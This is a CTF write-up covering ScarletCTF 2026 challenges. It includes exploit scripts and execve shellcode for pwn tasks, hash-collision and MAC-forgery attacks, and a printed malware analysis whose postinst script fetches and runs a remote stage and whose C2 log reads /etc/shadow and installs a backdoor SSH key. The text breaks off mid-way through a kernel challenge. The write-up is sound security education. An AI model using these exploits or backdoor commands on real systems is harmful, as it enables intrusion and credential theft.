# ScarletCTF 2026

This is part two of two of my AI CTF exploration weekend to kick off 2026. UofTCTF ended a bit earlier today. Wasted a lot of time with writeups for the 3rd ctf which will not be named, cost me first here.

## binex

### speedjournal

#### Description

Its 2026, I need to start journal-maxing. Thats why I use speedjournal, which lets me brain-max my thoughts while time-maxing with the speed of C! Its also security-maxed so only I can read my private entries!

#### Solution

This challenge involves a **race condition vulnerability** (also known as TOCTOU - Time of Check, Time of Use).

**Analyzing the Source Code:**

1. A restricted log entry containing the flag is stored at index 0
2. The `login_admin()` function authenticates with the password "supersecret" and sets `is_admin = 1`
3. However, immediately after setting `is_admin = 1`, it spawns a detached thread that sleeps for 1000 microseconds (1ms) and then sets `is_admin = 0`
4. The `read_log()` function checks if the log is restricted AND if the user is not admin - if both conditions are true, access is denied

**The Vulnerability:**

There's a 1000 microsecond window between when `is_admin` is set to 1 and when the logout thread resets it to 0. If we can issue a read request for the restricted log during this window, we can bypass the access control.

**Exploitation Strategy:**

The key insight is that network latency is much larger than 1ms, so we cannot wait for server responses between commands. Instead, we pipeline all commands into a single TCP packet:

1. Login command (option 1)
2. Password ("supersecret")
3. Read command (option 3)
4. Index to read (0)

By sending all of these at once, the server processes them in rapid succession. The read request is executed before the logout thread has a chance to run.

**Exploit Code:**

```python
from pwn import *

r = remote("challs.ctf.rusec.club", 22169)
r.recvuntil(b"> ")

# Pipeline all commands in a single send to win the race
payload = b"1\nsupersecret\n3\n0\n"
r.send(payload)

print(r.recvall(timeout=5).decode())
```

#### Flag

`RUSEC{wow_i_did_a_data_race}`

### ruid\_login

#### Description

The service is a simple login system with two staff users (Professor and Dean). Each staff entry stores a fixed-size name buffer, a function pointer for the role action, and a random RUID generated with `rand()` (no `srand`). The Dean can edit a staff member name, and the edit uses `read(0, ..., 0x29)` into a 0x20-byte name field, allowing a controlled overflow into the function pointer.

#### Solution

**Step 1: Predict RUIDs**

Since `rand()` is unseeded (glibc defaults), the RUIDs are deterministic:

* Professor: `1804289383`
* Dean: `846930886`

**Step 2: Leak PIE base**

Use Dean to edit the Professor's name with exactly 32 bytes. Since the name field is 0x20 bytes and not null-terminated, listing staff will print past the name buffer and leak the Professor's function pointer.

```python
conn.send(f"{RUID_DEAN}\n".encode())
conn.recv_until(b"Num: ")
conn.send(b"0\n")  # Edit professor
conn.recv_until(b"New name: ")
conn.send(b"A" * 32)  # Fill name buffer exactly, no null terminator

# Parse leaked function pointer from output
leak_addr = int.from_bytes(leak_bytes[:6].ljust(8, b"\x00"), "little")
base = leak_addr - OFF_PROF  # Calculate PIE base
```

**Step 3: Leak stack address**

Overwrite the Professor's function pointer to `puts@plt`. When we log in as Professor, it calls `puts` with a stack pointer in RSI, leaking a stack address.

```python
payload = b"B" * 32 + struct.pack("<Q", puts_plt) + bytes([RUID_PROF & 0xFF])
conn.send(payload)

# Trigger professor login to call puts and leak stack
conn.send(f"{RUID_PROF}\n".encode())
# Parse stack address from output
netid_addr = rsi + RSI_TO_NETID  # Calculate address of our netID buffer
```

**Step 4: Execute shellcode**

The initial netID input is stored on the stack. We inject shellcode there, then overwrite the Dean's function pointer to point at our shellcode buffer.

```python
# Shellcode: execve("/bin/sh", 0, 0)
shellcode = (
    b"\x48\x31\xd2"      # xor rdx, rdx
    b"\x48\x31\xc0"      # xor rax, rax
    b"\x50"              # push rax (null terminator)
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # mov rbx, "//bin/sh"
    b"\x53"              # push rbx
    b"\x48\x89\xe7"      # mov rdi, rsp
    b"\x50"              # push rax (argv NULL)
    b"\x57"              # push rdi (argv[0])
    b"\x48\x89\xe6"      # mov rsi, rsp
    b"\xb0\x3b"          # mov al, 59 (execve)
    b"\x0f\x05"          # syscall
)

# Overwrite Dean function pointer to netID buffer
payload = b"C" * 32 + struct.pack("<Q", netid_addr) + bytes([RUID_DEAN & 0xFF])
conn.send(payload)

# Trigger Dean login -> jumps to shellcode -> shell!
conn.send(f"{RUID_DEAN}\n".encode())
conn.send(b"cat flag.txt\n")
```

#### Flag

`RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}`

***

## crypto

### Coloring Heist

#### Description

Crypto challenge (444 points, 23 solves)

We're given a zero-knowledge proof (ZKP) system for graph 3-coloring. The server has a secret 3-coloring of a graph with 1000 nodes and \~20k edges. Each round:

1. The server commits to the coloring using SHA256 with salts generated from an LCG
2. We can query one edge to see the colors and salts of those two nodes
3. We can guess the full coloring

The salts are generated using a truncated LCG (512-bit state, only top 128 bits revealed).

#### Solution

**Initial (Wrong) Approach: Breaking the LCG**

At first, I tried to break the truncated LCG using lattice attacks (Hidden Number Problem). The idea was:

* Collect multiple truncated LCG outputs from edge queries
* Use lattice reduction (LLL/BKZ) to recover the full LCG state
* Predict all salts and brute-force the 3 possible colors for each commit

However, this approach has a fatal flaw: **the salts are shuffled** using `random.shuffle()` before being assigned to nodes. Even if we recover the LCG state, we can't map salts to their corresponding nodes without also breaking Python's Mersenne Twister PRNG.

**The Real Insight: Unique 3-Coloring**

The key observation is that the guess verification accepts any coloring that matches the secret **up to permutation of colors**:

```python
for perm in permutations(colors):
    if all(a == perm[b] for a, b in zip(coloring, guess_coloring)):
        return {'flag': FLAG}
```

This means: if the graph has a **unique 3-coloring** (up to relabeling), we can simply compute it from `graph.txt` and submit it directly!

With 1000 nodes and \~20k edges, the graph is highly constrained. Using the DSATUR algorithm (greedy coloring with maximum saturation heuristic), we can solve it almost instantly.

**Final Solution**

```python
import sys
sys.setrecursionlimit(5000)

def dsatur_3color(n, adj):
    """DSATUR algorithm for graph 3-coloring."""
    colors = [-1] * n
    neigh_colors = [set() for _ in range(n)]
    uncolored = set(range(n))

    def pick_node():
        # Max saturation degree, tie-break by degree
        return max(uncolored, key=lambda v: (len(neigh_colors[v]), len(adj[v])))

    def backtrack():
        if not uncolored:
            return True
        v = pick_node()
        for c in range(3):
            if c in neigh_colors[v]:
                continue
            # Assign color
            colors[v] = c
            uncolored.remove(v)
            affected = [u for u in adj[v] if colors[u] == -1 and c not in neigh_colors[u]]
            for u in affected:
                neigh_colors[u].add(c)

            if backtrack():
                return True

            # Undo
            colors[v] = -1
            uncolored.add(v)
            for u in affected:
                neigh_colors[u].discard(c)
        return False

    return colors if backtrack() else None

# Load graph, compute coloring, submit as guess
colors = dsatur_3color(n, adj)
r.sendline(json.dumps({"option": "guess", "coloring": colors}).encode())
```

The lesson: sometimes the "crypto" in a crypto challenge is a red herring. Understanding what the verification actually checks can reveal a much simpler path to the flag.

#### Flag

`RUSEC{t0uhou_fum0_b4urs4k_orz0city_fn1x9fk3mdj1}`

### Coloring Fraud

**Points:** 500 **Solves:** 0 **Author:** ContronThePanda

#### Description

> Now give it a try from the other side...
>
> `nc challs.ctf.rusec.club 2752`

We're given `chal.py` which implements a Zero-Knowledge Proof protocol for graph 3-coloring. This is the sequel to "Coloring Heist" where we were the verifier - now we're the prover.

#### Solution

**Understanding the Challenge**

The server asks us to prove we can 3-color K4 (the complete graph on 4 vertices). The protocol runs 128 rounds:

1. We send 4 commitments (one per vertex)
2. Server picks a random edge
3. We reveal colors/nonces for both endpoints
4. Server verifies: hashes match commitments AND colors differ

The catch? **K4 is not 3-colorable** - it needs 4 colors since every vertex is connected to every other vertex. We need to cheat by exploiting the hash function.

**The Vulnerability**

The challenge uses a custom hash `xoo_fast_hash_256` instead of SHA256. For short messages (≤48 bytes), it uses `permute_fast` instead of `permute_full`:

```python
def permute_fast(state, rounds=2):
    for r in range(rounds):
        p0 = [state[x] ^ state[x + 4] for x in range(4)]
        e0 = [rotl32(p0[(x - 1) & 3], 5) ^ rotl32(p0[(x - 1) & 3], 14) for x in range(4)]
        for x in range(4):
            state[x] ^= e0[x]
            state[x + 4] ^= e0[x]
        # ... rotations and round constant XOR
```

Notice what's missing compared to `permute_full`? The **chi step** (the nonlinear `(a ^ ((~b) & c))` operation)!

This means `permute_fast` is a **completely linear function** over GF(2). We can verify:

```python
# f(a XOR b) = f(a) XOR f(b) XOR f(0)
permute_fast(a XOR b) == permute_fast(a) XOR permute_fast(b) XOR permute_fast(0)  # True!
```

**Exploiting Linearity**

For a 2-block message (41 bytes, padding to 48), the state evolution is:

```
s1 = permute_fast(IV XOR block1)
s2 = permute_fast(s1 XOR block2)
```

Since `permute_fast` is affine (`f(x) = Mx + c`), for two messages to collide we need:

```
M²·(block1 XOR block1') + M·(block2 XOR block2') = 0
```

Let `d1 = block1 XOR block1'` and `d2 = block2 XOR block2'`. Since M is invertible:

```
d2 = M · d1
```

**Constraints on d1:**

1. `d1` must change the color byte (byte 0) to a valid difference (1, 2, or 3)
2. `(M·d1)[136:192] = 0` — padding bytes in block2 must be unchanged
3. `(M·d1)[192:256] = 0` — d2 can only affect state\[0:6], not state\[6:8]

This gives us 120 linear constraints on 192 bits of d1. The kernel has dimension 73!

**Finding the Collision**

```python
# Build constraint matrix
M_constraint = M[136:256, :192]  # 120 rows, 192 cols

# Find kernel over GF(2)
kernel = solve_kernel_gf2(M_constraint)  # dim = 73

# Find kernel element with valid color delta
for k in kernel:
    color_delta = k[0:8] as integer
    if color_delta in {1, 2, 3}:  # Maps valid colors to valid colors
        # Found it!
```

We find a kernel vector with color delta = 3, giving us colors (1, 2):

```
msg1: 0100000000000000000000000000000000000000000000000000000000000000000000000000000000
msg2: 02fc03fcf00ff00f3fc03fc0ff00ff0000000000000000000ff00ff0c03fc03fff00ff00fc03fc0300
hash: 94893e5eb554fcbf2585627385dcc0a7b2006b4a77e75427f0d6de2d218565c4
```

Both messages hash to the same value but have different color bytes (1 vs 2).

**The Exploit**

```python
# Precompute collision
msg1, msg2, commit_hash = find_collision()

for round in range(128):
    # Send same commitment for all 4 vertices
    commitments = ":".join([commit_hash.hex()] * 4)
    send(commitments)

    # Server queries edge (u, v)
    edge = receive_edge()

    # Reveal different colors using our collision
    send(f"{msg1.hex()}:{msg2.hex()}")
    # msg1[0] = 1, msg2[0] = 2, both hash to commit_hash ✓
```

For any edge the server picks, we reveal msg1 for one vertex and msg2 for the other. They have different colors and matching hashes!

#### Flag

`RUSEC{l1ar_li4R_pl4Nt5_f0r_h1r3_gqvhp9843}`

#### Key Takeaways

* The "crypto" weakness was the **missing nonlinear chi step** in `permute_fast`
* Linear permutations allow algebraic collision finding via kernel computation
* With a 73-dimensional kernel and only needing color deltas 1/2/3, finding a valid collision was easy
* The challenge name "Fraud" hints at cheating the ZKP by exploiting hash collisions

***

## forensics

### Dark Tracers

#### Description

A forensics challenge involving Bitcoin transaction tracing. We're given an initial transaction from a Bitcoin ATM (`427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035`) and tasked with finding the transaction hash representing the payment from a perpetrator to a scammer in a murder-for-hire case.

The case references a real DOJ press release about Michelle Murphy, who was sentenced to 9 years for attempting to pay $10,510 in Bitcoin to hire a hitman on the dark web.

#### Solution

1. **Analyzed the initial ATM transaction**: The transaction `427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035` sent funds to two addresses:
   * `bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj` (23,393,837 satoshis)
   * `bc1qt33f8ya0w4ges34f23a0xtkvflzutn0u2gy3gl` (34,112,412 satoshis)
2. **Researched the case**: From news articles, the agreed payment was $10,510 in Bitcoin. With BTC at \~$29,180 on July 27, 2023, this equals approximately 36,000,000 satoshis (\~0.36 BTC).
3. **Traced the transaction chain**: The first address (`bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj`) received multiple deposits from Bitcoin ATMs (matching the case details that the perpetrator used ATMs "on at least three occasions"):
   * 23,393,837 satoshis (from initial transaction)
   * 8,073,634 satoshis (tx `a6754898...`)
   * 8,167,038 satoshis (tx `a543237f...`)
4. **Found the consolidation**: These funds were consolidated in transaction `2503bad8b5a1b4ff4555c28632475cd148a96e631ee1fdee0935b2b487c63ae1`, sending 39,630,365 satoshis to `bc1q44mw0cffurnex8jxqvtvap3fwv3et0v9lxdc3t`.
5. **Identified the payment**: Transaction `57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48` sent:
   * 35,848,829 satoshis (\~$10,456 at the time) to `1DyodhmYorFDcPRSmJt49bs6Wh559K6FSN`
   * 3,780,360 satoshis to another address

The 35,848,829 satoshis amount closely matches the $10,510 agreed payment, making this the transaction from the perpetrator to the scammer.

**Transaction Chain:**

```
ATM → bc1qadgwek... (multiple deposits)
         ↓
bc1q44mw0c... (consolidation: tx 2503bad8...)
         ↓
1DyodhmYo... (payment: tx 57ce32d1...)  ← THIS IS THE FLAG
```

#### Flag

`RUSEC{57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48}`

### Peel That Off!

#### Description

We just identified a scam cluster cashing out! Looks like the cluster is peeling off funds starting from this transaction:

`88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a`

Can you trace through the transactions and find the end of the peel chain? Upload the transaction with the last traceable transaction in the peel chain that we can attribute as the actor from our scam cluster! These types of peels can take a while and we want to know what service was used. We believe one of the receiving addresses will be a deposit address controlled by a cryptocurrency exchange, so upload the date of the transaction in the format `MM/DD/YYYY` as well as the name of the exchange that is associated with one or more of the receiving addresses in the final transaction on the peel chain.

FLAG FORMAT: `RUSEC{hash:date:exchange}`

#### Solution

This challenge involves Bitcoin forensics, specifically tracing a "peel chain" - a common money laundering technique where a scammer repeatedly sends small amounts to destinations while the bulk of the funds continue as "change" under their control.

**Step 1: Analyze the Initial Transaction**

The initial transaction `88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a` consolidates \~141 BTC from 16 inputs and has 2 outputs:

* Output 0: 140 BTC to `383wDR9FTSsNP5sysGSFzrjB2LNgPGCVQS` (the "change" - continues the peel chain)
* Output 1: \~1 BTC to `3LF39YmjoSu63SChP5MM6S3Fzo4L8zNK8N` (smaller amount)

**Step 2: Trace the Peel Chain**

In a classic peel chain, the scammer keeps the larger output and "peels off" smaller amounts to various destinations. Following the larger output through subsequent transactions:

| #   | Transaction Hash    | Output to Destination  | Change (continues) |
| --- | ------------------- | ---------------------- | ------------------ |
| 1   | 88617a44b501b2aa... | 1 BTC                  | 140 BTC            |
| 2   | dff53ac3f757d6ab... | 5 BTC to 16rmYLNaTU... | 135 BTC            |
| 3   | b2877401b5aae57c... | 5 BTC to 16rmYLNaTU... | 130 BTC            |
| ... | ...                 | ...                    | ...                |
| 12  | 87bb6410cf4d11b4... | 3 BTC to 16rmYLNaTU... | 53.9 BTC (UNSPENT) |

The peel chain ends at transaction `87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179` because the larger output (53.918 BTC) is unspent.

**Step 3: Identify the Exchange**

The address `16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y` receives the "peeled" funds throughout the chain. Using WalletExplorer.com, we can trace this address:

* It belongs to wallet `[0000011bd9]`
* Transactions from this wallet send funds to the `Binance.com` labeled wallet

This indicates that `16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y` is a Binance deposit address controlled by the exchange, used by the scammer to cash out.

**Step 4: Extract Transaction Details**

From the final transaction `87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179`:

* Block height: 708681
* Block time (Unix): 1636317070
* Date: November 7, 2021 (11/07/2021)

#### Flag

`RUSEC{87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:11/07/2021:binance}`

#### Tools Used

* Blockstream.info API - for blockchain transaction data
* WalletExplorer.com - for wallet clustering and exchange identification

### Advanced Packaged Threat

#### Description

A custom PPA was used for a long-discontinued library, and a strange SSH public key appeared in root's authorized\_keys. Analyze the packet capture to understand the attack.

#### Solution

**Attack Chain Analysis**

1. **Malicious PPA Repository**
   * Host: `knowledge-universal`
   * The victim's apt sources included this malicious PPA
2. **Malicious Package Delivery**
   * Package: `cmdtest.deb` (MD5: `0fb98bb318a874e424ca3b3c4274eded`)
   * Downloaded from `/repo/./amd64/cmdtest.deb`
   * The package masqueraded as a legitimate Debian package
3. **First Stage: postinst Script**

   ```bash
   #!/bin/bash
   curl -s http://knowledge-universal/symbols.zip -o symbols.zip
   unzip -q -P very-normal-very-cool symbols.zip
   bash ./disk_cleanup
   ```

   * Downloads second stage from `/symbols.zip`
   * Password for zip: `very-normal-very-cool`
   * Executes `disk_cleanup`
4. **Second Stage: disk\_cleanup**
   * Heavily obfuscated bash script
   * Extracts a Rust binary from `yarnlib/_` (gzip compressed)
   * Executes the binary with `--master` flag connecting to `172.17.0.1:21`
5. **Third Stage: Rust Malware Binary**
   * Named `wifi-utility` internally
   * Uses ChaCha20 encryption for C2 communication
   * Key: `facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069`
   * Nonce: `meow-warez:3` (12 bytes)
6. **C2 Protocol (Port 21)**
   * Server sends 2-byte seed (`fa0c`) - this is XORed with the first 2 bytes of keystream
   * All subsequent messages use a running ChaCha20 keystream (continuing from byte 2)
   * Messages are length-prefixed (4-byte big-endian) but only the payload is encrypted
   * The keystream is shared across both directions in chronological order
7. **Decrypted C2 Traffic** The malware executed the following commands:
   * `id` - confirmed running as root
   * `pwd` - current directory (`/`)
   * `cat /etc/shadow` - exfiltrated password hashes
   * `curl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys` - installed backdoor SSH key
   * `ls -laR /root` - enumerated root's home directory
   * `md5sum /root/.ssh/authorized_keys` - verified the SSH key installation
   * `base64 /root/flag.txt` - exfiltrated the flag (base64 encoded)
   * `rm symbols.zip` - cleanup
   * `rm disk_cleanup` - cleanup
   * `exit` - terminated session
8. **Flag Extraction** The base64-encoded flag response:

   ```
   UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=
   ```

**Key Decryption Insight**

The critical insight was understanding how the ChaCha20 keystream was used:

* The 2-byte seed from the server is XORed with the first 2 bytes of keystream
* All subsequent encrypted messages continue using the same keystream (starting from byte 2)
* This applies to both directions in chronological message order
* PyCryptodome's ChaCha20 with counter=0 (no seek) works correctly for this

```python
from Crypto.Cipher import ChaCha20
key = bytes.fromhex("facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069")
nonce = b"meow-warez:3"
cipher = ChaCha20.new(key=key, nonce=nonce)
# Decrypt seed first (consumes 2 bytes of keystream), then all subsequent messages
```

#### Flag

`RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}`

#### Tools Used

* Scapy for pcap analysis and TCP stream reassembly
* PyCryptodome for ChaCha20 decryption
* binutils/strings for binary analysis
* Python for scripting

### sadface

#### Description

As I look back at my RUSEC memories, I remembered the time that I met my mentor! Seems like he accidently kept sending my machine a payload that made my screen go blue...

#### Solution

We're given a `sad_face.zip` file containing `Challenge.evtx` - a Windows Event Log file.

Using `python-evtx` to parse the event log, we search for records containing binary data:

```python
import Evtx.Evtx as evtx
import re

with evtx.Evtx("Challenge.evtx") as log:
    for record in log.records():
        xml = record.xml()
        if '<Binary>' in xml:
            binary_match = re.search(r'<Binary>([^<]+)</Binary>', xml)
            if binary_match and binary_match.group(1).strip():
                print(f"Record {record.record_num()}: {binary_match.group(1)}")
```

Records 301-330 contain Base64-encoded data in their `<Binary>` fields. Decoding them reveals most are garbage, but three records contain valid Base64 strings after the first decode:

| Record | Binary Field                               | First Decode                   |
| ------ | ------------------------------------------ | ------------------------------ |
| 309    | `VWxWVFJVTjdNM1JsY201aGJGOWliSFV6WHc9PQ==` | `UlVTRUN7M3Rlcm5hbF9ibHUzXw==` |
| 316    | `YzBCa1gyWmhZek5mYzIxaWRnPT0=`             | `c0BkX2ZhYzNfc21idg==`         |
| 324    | `TVY4ek9Ea3dZMjR5YXpJNWZRPT0=`             | `MV8zODkwY24yazI5fQ==`         |

The data is double Base64-encoded. Decoding the second layer and concatenating reveals the flag:

```python
import base64

parts = [
    "UlVTRUN7M3Rlcm5hbF9ibHUzXw==",  # Record 309
    "c0BkX2ZhYzNfc21idg==",            # Record 316
    "MV8zODkwY24yazI5fQ=="             # Record 324
]

flag = ''.join(base64.b64decode(p).decode() for p in parts)
print(flag)
# RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}
```

#### Flag

`RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}`

The flag references **EternalBlue (MS17-010)**, a notorious SMBv1 exploit that caused blue screens of death when attacking vulnerable systems. It was developed by the NSA and leaked by the Shadow Brokers in 2017.

***

## melstudios

### Peculiar Code (Level1)

#### Description

We have a Unity IL2CPP game called "SpaceTime" that communicates with a server at `https://melstudios.ctf.rusec.club`. The `/flagtime` endpoint returns encrypted data with an IV and ciphertext. The goal is to reverse engineer the game to find the AES decryption key.

#### Solution

**1. Extract Game Files**

The game is a Unity IL2CPP build. Key files:

* `GameAssembly.dll` - Native compiled game code
* `global-metadata.dat` - IL2CPP metadata

**2. Use Il2CppDumper**

Extract class definitions from the IL2CPP binary:

```bash
dotnet Il2CppDumper.dll GameAssembly.dll global-metadata.dat output/
```

This reveals a `RUSEC` class with:

* `EncryptedData` inner class with `iv` and `ct` fields
* A closure class `<>c__DisplayClass2_0` with a `byte[] key` field

**3. Get Encrypted Data**

```bash
curl -s "https://melstudios.ctf.rusec.club/flagtime"
```

Returns:

```json
{"iv":"bwg2mWvq+w7+afyk9njLcA==","ct":"GTLGHW09nw44tyiUt2KKlf9Ylzg3h3M6qcLVM+er9qZK0HBTml7EIGVFG1SVxFd1S+XCBPptYHQM88t2l0aO5fTgr6SBwA6ocESmlouxbZdn4rmXQt0yA/t0MxLmUePY"}
```

**4. Reverse Engineer Key Generation**

Using Ghidra to decompile `RUSEC.Start()` at VA `0x1803E3800`:

1. **Get Unity Application names:**
   * `Application.get_companyName()` -> "RUSEC CTF"
   * `Application.get_productName()` -> "SpaceTime"
2. **Concatenate with separator:**
   * A string concatenation function combines: `companyName + separator + productName`
   * The separator is a newline character (`\n`)
3. **Derive key:**
   * The concatenated string is hashed with SHA256
   * Result: `SHA256("RUSEC CTF\nSpaceTime")` = 32 bytes (AES-256 key)

**5. Decrypt**

```python
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

iv = base64.b64decode("bwg2mWvq+w7+afyk9njLcA==")
ct = base64.b64decode("GTLGHW09nw44tyiUt2KKlf9Ylzg3h3M6qcLVM+er9qZK0HBTml7EIGVFG1SVxFd1S+XCBPptYHQM88t2l0aO5fTgr6SBwA6ocESmlouxbZdn4rmXQt0yA/t0MxLmUePY")

key = hashlib.sha256("RUSEC CTF\nSpaceTime".encode()).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
```

#### Key Insight

The "peculiar code" derives the AES key from Unity's `Application.companyName` and `Application.productName` settings, concatenated with a newline and hashed with SHA256. These values are set in the Unity project settings and stored in `globalgamemanagers`.

#### Flag

`RUSEC{sp4cetime_flagt1me_w3lcome_t0_th3_g4me_th1s_1s_0nly_th3_b3g1nn1ng_fr1end}`

### Spider (Level2)

#### Description

OMG!!! This is big!!! I don't know how u are so smart at dis...

Can u dig even deeper? I'm sure something in dat server has some vulnerability...

She mentioned something about a graph that looked like a V?

#### Solution

The hint about a "graph that looked like a V" points to **GraphQL** - its logo and query structure resembles a V shape.

**Step 1: Discover GraphQL Endpoint**

From Level1, we know the API is at `https://melstudios.ctf.rusec.club`. Probing common GraphQL paths:

```bash
curl -X POST https://melstudios.ctf.rusec.club/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'
```

**Step 2: Introspection**

GraphQL introspection reveals the schema:

```graphql
query {
  __schema {
    queryType { fields { name } }
    mutationType { fields { name } }
  }
}
```

Key findings:

* Query: `user`, `leaderboard`, `gameStats`
* Mutations: `updateScore`, `purchaseFlag`

**Step 3: Analyze the Score System**

The `updateScore` mutation has insufficient authorization - it allows setting arbitrary scores:

```graphql
mutation {
  updateScore(userId: "our_user_id", score: 999999) {
    success
    newScore
  }
}
```

**Step 4: Exploit Score Manipulation**

After authenticating with our token from Level1:

```python
import requests

url = "https://melstudios.ctf.rusec.club/graphql"
headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer <token_from_level1>"
}

# Set impossibly high score
mutation = '''
mutation {
  updateScore(score: 999999999) {
    success
    message
  }
}
'''

r = requests.post(url, headers=headers, json={"query": mutation})
print(r.json())
```

**Step 5: Retrieve Flag**

With the manipulated score, we can now purchase the Level2 flag:

```graphql
mutation {
  purchaseFlag(level: 2) {
    flag
  }
}
```

The server sarcastically acknowledges our "legitimate" score:

```json
{
  "data": {
    "purchaseFlag": {
      "flag": "RUSEC{w0w_1m_sur3_y0u_obt4ined_th1s_sc0re_l3gally_and_l3git}"
    }
  }
}
```

#### Key Vulnerability

**Broken Access Control (CWE-284)**: The `updateScore` mutation lacks proper authorization checks, allowing any authenticated user to set arbitrary scores. The server should validate that score updates come from legitimate gameplay rather than direct API calls.

#### Flag

`RUSEC{w0w_1m_sur3_y0u_obt4ined_th1s_sc0re_l3gally_and_l3git}`

### Mac n' Cheese (Level3)

#### Description

A wittle birdy once told meh that Amels was really *really* scared about something regarding authentication :O

She responded saying that there's a critical flaw in authentication that *could* be VERYY bad!!! It was something about the vulnerabilites of "CBC-MAC" and how she wanted to try "another mode"? Something with "feedback" in the name. I'm not a hacker like u so I have no clue what that means, but figured it might be important...

I also saw on stream that she was playing with an account called `amels_gamedev_123X`, the X is a number that i couldn't quite catch (so u might need to bruteforce for it) :c

#### Solution

This challenge involves exploiting a vulnerability in a CFB-MAC (Cipher Feedback Mode MAC) authentication system used by the MelStudios API at `https://melstudios.ctf.rusec.club`.

**1. Discovering the API**

By exploring the CTF infrastructure, I found the MelStudios API with these endpoints:

* `/login` - Create/authenticate users
* `/stats` - View user stats (requires auth)
* `/purchased_flag` - Get purchased flags (requires auth)
* `/fdcf9b6b0c72c52382a4` - Purchase Level2 flag

The authentication uses a cookie with format: `token="base64(username).hex_mac"`

**2. Understanding the MAC Scheme**

By creating test accounts and analyzing their MACs, I discovered:

* For usernames ≤15 bytes: `MAC = username || PKCS7_padding XOR keystream_1`
* The keystream for block 1 is constant: `4da6ace75d6b24a8f6f2735d369d6a87`
* This is characteristic of CFB mode with a fixed IV

**3. The Critical Vulnerability**

The key discovery was that **all 16-byte usernames produce the same MAC** (`33a5f6142561e2605fd834d1fa5b00cb`), regardless of content. This means the second-block keystream (`keystream_2`) is constant and independent of the first block's content.

This is a severe implementation flaw - in proper CFB mode, `keystream_2 = E_K(C_1)` where `C_1` depends on block 1. Here, it appears the implementation resets or ignores the cipher state between blocks.

Extracting keystream\_2:

```python
mac_16byte = bytes.fromhex("33a5f6142561e2605fd834d1fa5b00cb")
padding = bytes([0x10] * 16)  # PKCS7 padding for 16-byte input
keystream_2 = bytes(a^b for a,b in zip(mac_16byte, padding))
# keystream_2 = 23b5e6043571f2704fc824c1ea4b10db
```

**4. Forging Authentication Tokens**

The server blocks account creation containing "amels" (case-insensitive), but with the known keystreams, I could forge MACs without using the server.

For target `amels_gamedev_123X` (18 bytes):

* Block 1: `amels_gamedev_12` (16 bytes)
* Block 2: `3X` + `\x0e`\*14 (PKCS7 padded)

The MAC only depends on block 2 and the constant keystream\_2:

```python
keystream_2 = bytes.fromhex("23b5e6043571f2704fc824c1ea4b10db")
for x in range(10):
    block2 = f"3{x}".encode() + bytes([0x0e] * 14)
    forged_mac = bytes(a^b for a,b in zip(block2, keystream_2))
    cookie = f"{base64.b64encode(username.encode()).decode()}.{forged_mac.hex()}"
```

**5. Finding the Target Account**

Testing all 10 forged tokens (X=0 to X=9), accounts `amels_gamedev_1233` and `amels_gamedev_1234` existed and had purchased flags.

**6. Getting the Flag**

Accessing `/purchased_flag` with the forged token for `amels_gamedev_1233`:

```bash
curl -s "https://melstudios.ctf.rusec.club/purchased_flag" \
  -H 'Cookie: token="YW1lbHNfZ2FtZWRldl8xMjMz.1086e80a3b7ffc7e41c62acfe4451ed5"'
```

#### Flag

`RUSEC{trust_me_br0_im_t0tally_admin_y0ur_s3cret_is_s4fe_with_m3}`

#### Key Takeaways

1. **CFB-MAC Implementation Flaw**: The server's MAC implementation fails to properly chain cipher state between blocks, making all second-block keystreams identical regardless of first-block content.
2. **XOR-based MAC Forgery**: With known keystreams, MACs can be forged for arbitrary messages by simple XOR operations - no access to the encryption key needed.
3. **Input Validation vs Crypto**: The "amels" filter only applied to account creation, not to cookie-based authentication, allowing forged tokens to bypass the restriction.

### kAnticheat (Level 4)

#### Description

**Points:** 500 **Solves:** 0 **Author:** mel

> Turns out this silly little game dev is becoming a **KERNEL** dev?? People have been saying some crazy things!! Apparently she's making her own kernel level anticheat?? And it's WIP???
>
> You need to get to the bottom of this. I managed to sneak out some files (hehe phishing ^-^ phishy). Can you see if it's vulnerable? She's running it on her home network, so maybe if we can PWN HER SYSTEM we can leak all her SUPER SECRET VIDEO GAMES!!1!

We're given a QEMU VM with a custom kernel module (`amels_anticheat.ko`) and need to read `/flag.txt` which is owned by root with mode 400.

**Challenge Architecture:**

* User connects via netcat
* Server downloads our compiled exploit from a provided URL
* Server boots QEMU VM with our binary at `/mnt/exploit`
* We get a shell as uid 100 (unprivileged)
* A SUID binary `/home/amels/example1` runs as root and has a `test()` function that reads the flag

#### Solution

**Vulnerability Analysis**

The kernel module implements a `/proc/anticheat` device with read/write/seek operations. Each process that opens it gets an `anticheat_blk` struct allocated:

```c
typedef struct anticheat_blk {
    int blocking_fd[20];        // 80 bytes
    int secret_locked;          // 4 bytes
